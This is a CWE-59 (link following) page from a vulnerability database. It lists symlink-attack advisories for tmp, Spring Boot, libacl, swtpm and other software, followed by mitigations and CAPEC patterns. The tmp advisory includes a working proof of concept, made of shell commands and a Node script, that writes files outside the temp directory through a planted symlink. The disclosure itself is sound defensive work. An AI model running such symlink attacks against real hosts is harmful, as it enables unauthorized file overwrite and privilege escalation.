Common Weakness Enumeration
CWE-59
AllowedImproper Link Resolution Before File Access ('Link Following')
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
2029 vulnerabilities reference this CWE, most recent first.
GHSA-52CH-CF4W-M93W
Vulnerability from github – Published: 2022-05-01 23:32 – Updated: 2022-05-01 23:32
VLAI
Details
wml_backend/p1_ipp/ipp.src in Website META Language (WML) 2.0.11 allows local users to overwrite arbitrary files via a symlink attack on the ipp.$$.tmp temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-0665"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-02-11T21:00:00Z",
"severity": "LOW"
},
"details": "wml_backend/p1_ipp/ipp.src in Website META Language (WML) 2.0.11 allows local users to overwrite arbitrary files via a symlink attack on the ipp.$$.tmp temporary file.",
"id": "GHSA-52ch-cf4w-m93w",
"modified": "2022-05-01T23:32:11Z",
"published": "2022-05-01T23:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0665"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=463907"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28829"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28856"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29353"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200803-23.xml"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2008/dsa-1492"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:076"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27685"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-52F5-9888-HMC6
Vulnerability from github – Published: 2025-08-06 17:06 – Updated: 2025-11-03 21:34
VLAI
Summary
tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
Details
Summary
tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible.
Tested on a Linux machine.
- Setup: create a symbolic link inside the
tmpDirthat points to a directory outside of it
mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
- check the folder is empty:
ls -lha $HOME/mydir1 | grep "tmp-"
- run the poc
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
- the temporary file is created under
$HOME/mydir1(outside thetmpDir):
ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Impact
Arbitrary temporary file / directory write via symlink
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.3"
},
"package": {
"ecosystem": "npm",
"name": "tmp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54798"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-06T17:06:04Z",
"nvd_published_at": "2025-08-07T01:15:26Z",
"severity": "LOW"
},
"details": "### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system\u0027s tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system\u0027s default temporary directory.\n absolute paths are fine as long as they point to a location under the system\u0027s default temporary directory.\n Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n if (name.startsWith(tmpDir)) {\n return path.resolve(name);\n } else {\n return path.resolve(path.join(tmpDir, name));\n }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it\u0027s possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n if (option === \u0027name\u0027) {\n // assert that name is not absolute and does not contain a path\n if (path.isAbsolute(name))\n throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n let basename = path.basename(name);\n if (basename === \u0027..\u0027 || basename === \u0027.\u0027 || basename !== name)\n throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n }\n else { // if (option === \u0027dir\u0027 || option === \u0027template\u0027) {\n // assert that dir or template are relative to tmpDir\n if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n }\n let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n if (!resolvedPath.startsWith(tmpDir))\n throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open \u0027/tmp/mydir1/tmp-[random-id]\u0027\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require(\u0027tmp\u0027);\n\nconst tmpobj = tmp.fileSync({ \u0027dir\u0027: \u0027evil-dir\u0027});\nconsole.log(\u0027File: \u0027, tmpobj.name);\n\ntry {\n tmp.fileSync({ \u0027dir\u0027: \u0027mydir1\u0027});\n} catch (err) {\n console.log(\u0027test 1:\u0027, err.message)\n}\n\ntry {\n tmp.fileSync({ \u0027dir\u0027: \u0027/foo\u0027});\n} catch (err) {\n console.log(\u0027test 2:\u0027, err.message)\n}\n\ntry {\n const fs = require(\u0027node:fs\u0027);\n const resolved = fs.realpathSync(\u0027/tmp/evil-dir\u0027);\n tmp.fileSync({ \u0027dir\u0027: resolved});\n} catch (err) {\n console.log(\u0027test 3:\u0027, err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n let resolvedPath;\n if (name.startsWith(tmpDir)) {\n resolvedPath = path.resolve(name);\n } else {\n resolvedPath = path.resolve(path.join(tmpDir, name));\n }\n return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink",
"id": "GHSA-52f5-9888-hmc6",
"modified": "2025-11-03T21:34:20Z",
"published": "2025-08-06T17:06:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54798"
},
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/issues/207"
},
{
"type": "WEB",
"url": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
},
{
"type": "PACKAGE",
"url": "https://github.com/raszi/node-tmp"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter"
}
GHSA-52MM-W3HF-39RG
Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2024-03-28 03:30
VLAI
Details
Perl module Data::UUID from CPAN version 1.219 vulnerable to symlink attacks
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2013-4184"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-10T15:15:00Z",
"severity": "LOW"
},
"details": "Perl module Data::UUID from CPAN version 1.219 vulnerable to symlink attacks",
"id": "GHSA-52mm-w3hf-39rg",
"modified": "2024-03-28T03:30:57Z",
"published": "2022-05-05T00:29:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4184"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2013-4184"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=CVE-2013-4184"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2013-4184"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/86103"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3F2KOK2SM2LFI4BNFOVV2G2XVJQBIMZL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DTKH3TWUOXBAAZST7364UVZ4UPH4CEO7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MATNG5VP46SXJB2JHAI2LXPUXCYUOYPE"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2013-4184"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2013/07/31/4"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/61534"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-52X8-2F4W-Q8MM
Vulnerability from github – Published: 2023-11-03 06:36 – Updated: 2023-11-10 00:30
VLAI
Details
In swtpm before 0.4.2 and 0.5.x before 0.5.1, a local attacker may be able to overwrite arbitrary files via a symlink attack against a temporary file such as TMP2-00.permall.
Severity
7.1 (High)
{
"affected": [],
"aliases": [
"CVE-2020-28407"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T04:15:15Z",
"severity": "HIGH"
},
"details": "In swtpm before 0.4.2 and 0.5.x before 0.5.1, a local attacker may be able to overwrite arbitrary files via a symlink attack against a temporary file such as TMP2-00.permall.",
"id": "GHSA-52x8-2f4w-q8mm",
"modified": "2023-11-10T00:30:26Z",
"published": "2023-11-03T06:36:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28407"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1198395"
},
{
"type": "WEB",
"url": "https://github.com/stefanberger/swtpm/releases/tag/v0.4.2"
},
{
"type": "WEB",
"url": "https://github.com/stefanberger/swtpm/releases/tag/v0.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5368-6H4H-GR29
Vulnerability from github – Published: 2026-04-28 00:31 – Updated: 2026-05-06 19:05
VLAI
Summary
Spring Boot's PID file write follows symlinks at predictable default path
Details
When an application is configured to use ApplicationPidFileWriter, a local attacker with write access to the PID file's location can corrupt one file on the host each time the application is started.
Affected: Spring Boot 4.0.0–4.0.5 (fix 4.0.6), 3.5.0–3.5.13 (fix 3.5.14), 3.4.0–3.4.15 (fix 3.4.16), 3.3.0–3.3.18 (fix 3.3.19), 2.7.0–2.7.32 (fix 2.7.33); PID file / symlink behavior (ApplicationPidFileWriter). Versions that are no longer supported are also affected per vendor advisory.
Severity
4.7 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-cassandra"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-cassandra"
},
"ranges": [
{
"events": [
{
"introduced": "3.5.0"
},
{
"fixed": "3.5.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-cassandra"
},
"ranges": [
{
"events": [
{
"introduced": "3.4.0"
},
{
"last_affected": "3.4.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-cassandra"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"last_affected": "3.3.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-cassandra"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.7.32"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40977"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T19:05:35Z",
"nvd_published_at": "2026-04-28T00:16:24Z",
"severity": "MODERATE"
},
"details": "When an application is configured to use `ApplicationPidFileWriter`, a local attacker with write access to the PID file\u0027s location can corrupt one file on the host each time the application is started.\n\nAffected: Spring Boot 4.0.0\u20134.0.5 (fix 4.0.6), 3.5.0\u20133.5.13 (fix 3.5.14), 3.4.0\u20133.4.15 (fix 3.4.16), 3.3.0\u20133.3.18 (fix 3.3.19), 2.7.0\u20132.7.32 (fix 2.7.33); PID file / symlink behavior (`ApplicationPidFileWriter`). Versions that are no longer supported are also affected per vendor advisory.",
"id": "GHSA-5368-6h4h-gr29",
"modified": "2026-05-06T19:05:35Z",
"published": "2026-04-28T00:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40977"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-boot"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-40977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Spring Boot\u0027s PID file write follows symlinks at predictable default path"
}
GHSA-53CH-PXC8-6G72
Vulnerability from github – Published: 2026-06-29 15:32 – Updated: 2026-07-02 12:30
VLAI
Details
acl before version 2.4.0 contains a symlink traversal vulnerability in the libacl pathname-based functions acl_get_file(), acl_set_file(), acl_extended_file(), and acl_delete_def_file() that allows local attackers to escalate privileges by replacing any pathname component with a symbolic link. Attackers who control any component of a pathname processed by a privileged caller can redirect ACL read or write operations to arbitrary files or directories, enabling unauthorized manipulation of access control lists and local privilege escalation.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-54369"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-29T14:16:57Z",
"severity": "HIGH"
},
"details": "acl before version 2.4.0 contains a symlink traversal vulnerability in the libacl pathname-based functions acl_get_file(), acl_set_file(), acl_extended_file(), and acl_delete_def_file() that allows local attackers to escalate privileges by replacing any pathname component with a symbolic link. Attackers who control any component of a pathname processed by a privileged caller can redirect ACL read or write operations to arbitrary files or directories, enabling unauthorized manipulation of access control lists and local privilege escalation.",
"id": "GHSA-53ch-pxc8-6g72",
"modified": "2026-07-02T12:30:58Z",
"published": "2026-06-29T15:32:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54369"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:34351"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-54369"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2490277"
},
{
"type": "WEB",
"url": "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=24a227d0ab8576612194f8a56c2314389adc74a5"
},
{
"type": "WEB",
"url": "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=3589787cd589b34bdd9265936e17190b6d3f17d1"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54369.json"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/acl-symlink-traversal-privilege-escalation-via-libacl-functions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-53P9-M4MR-WP8X
Vulnerability from github – Published: 2022-05-24 17:06 – Updated: 2025-10-22 00:31
VLAI
Details
An elevation of privilege vulnerability exists in the way the Update Notification Manager handles files.To exploit this vulnerability, an attacker would first have to gain execution on the victim system, aka 'Update Notification Manager Elevation of Privilege Vulnerability'.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2020-0638"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-01-14T23:15:00Z",
"severity": "MODERATE"
},
"details": "An elevation of privilege vulnerability exists in the way the Update Notification Manager handles files.To exploit this vulnerability, an attacker would first have to gain execution on the victim system, aka \u0027Update Notification Manager Elevation of Privilege Vulnerability\u0027.",
"id": "GHSA-53p9-m4mr-wp8x",
"modified": "2025-10-22T00:31:49Z",
"published": "2022-05-24T17:06:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0638"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0638"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-0638"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-53WM-97P6-582F
Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2026-06-05 17:53
VLAI
Summary
instack-undercloud vulnerable to symlink attack on tmp files
Details
A flaw was found in instack-undercloud 7.2.0 as packaged in Red Hat OpenStack Platform Pike, 6.1.0 as packaged in Red Hat OpenStack Platform Oacta, 5.3.0 as packaged in Red Hat OpenStack Newton, where pre-install and security policy scripts used insecure temporary files. A local user could exploit this flaw to conduct a symbolic-link attack, allowing them to overwrite the contents of arbitrary files.
Severity
6.4 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "instack-undercloud"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "7.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-7549"
],
"database_specific": {
"cwe_ids": [
"CWE-377",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-22T22:48:23Z",
"nvd_published_at": "2017-09-21T21:29:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in instack-undercloud 7.2.0 as packaged in Red Hat OpenStack Platform Pike, 6.1.0 as packaged in Red Hat OpenStack Platform Oacta, 5.3.0 as packaged in Red Hat OpenStack Newton, where pre-install and security policy scripts used insecure temporary files. A local user could exploit this flaw to conduct a symbolic-link attack, allowing them to overwrite the contents of arbitrary files.",
"id": "GHSA-53wm-97p6-582f",
"modified": "2026-06-05T17:53:43Z",
"published": "2022-05-13T01:07:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7549"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2557"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2649"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2687"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2693"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:2726"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2017-7549"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1477403"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/instack/PYSEC-2017-152.yaml"
},
{
"type": "WEB",
"url": "https://opendev.org/openstack/instack-undercloud"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170907040549/http://www.securityfocus.com/bid/100407"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/100407"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "instack-undercloud vulnerable to symlink attack on tmp files"
}
GHSA-548G-PCC5-4492
Vulnerability from github – Published: 2024-03-12 18:31 – Updated: 2024-03-12 18:31
VLAI
Details
Windows Update Stack Elevation of Privilege Vulnerability
Severity
7.0 (High)
{
"affected": [],
"aliases": [
"CVE-2024-21432"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-12T17:15:51Z",
"severity": "HIGH"
},
"details": "Windows Update Stack Elevation of Privilege Vulnerability",
"id": "GHSA-548g-pcc5-4492",
"modified": "2024-03-12T18:31:13Z",
"published": "2024-03-12T18:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21432"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21432"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-548J-7QQV-2MVF
Vulnerability from github – Published: 2022-05-17 01:07 – Updated: 2022-05-17 01:07
VLAI
Details
mktexlsr revision 36855, and before revision 36626 as packaged in texlive allows local users to write to arbitrary files via a symlink attack. NOTE: this vulnerability exists due to the reversion of a fix of CVE-2015-5700.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2015-5701"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-25T18:29:00Z",
"severity": "MODERATE"
},
"details": "mktexlsr revision 36855, and before revision 36626 as packaged in texlive allows local users to write to arbitrary files via a symlink attack. NOTE: this vulnerability exists due to the reversion of a fix of CVE-2015-5700.",
"id": "GHSA-548j-7qqv-2mvf",
"modified": "2022-05-17T01:07:50Z",
"published": "2022-05-17T01:07:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5701"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=775139"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1181167"
},
{
"type": "WEB",
"url": "https://www.tug.org/svn/texlive/trunk/Build/source/texk/kpathsea/mktexlsr?r1=19613\u0026r2=22885"
},
{
"type": "WEB",
"url": "https://www.tug.org/svn/texlive/trunk/Build/source/texk/kpathsea/mktexlsr?view=log"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/07/30/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-48.1
Architecture and Design
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.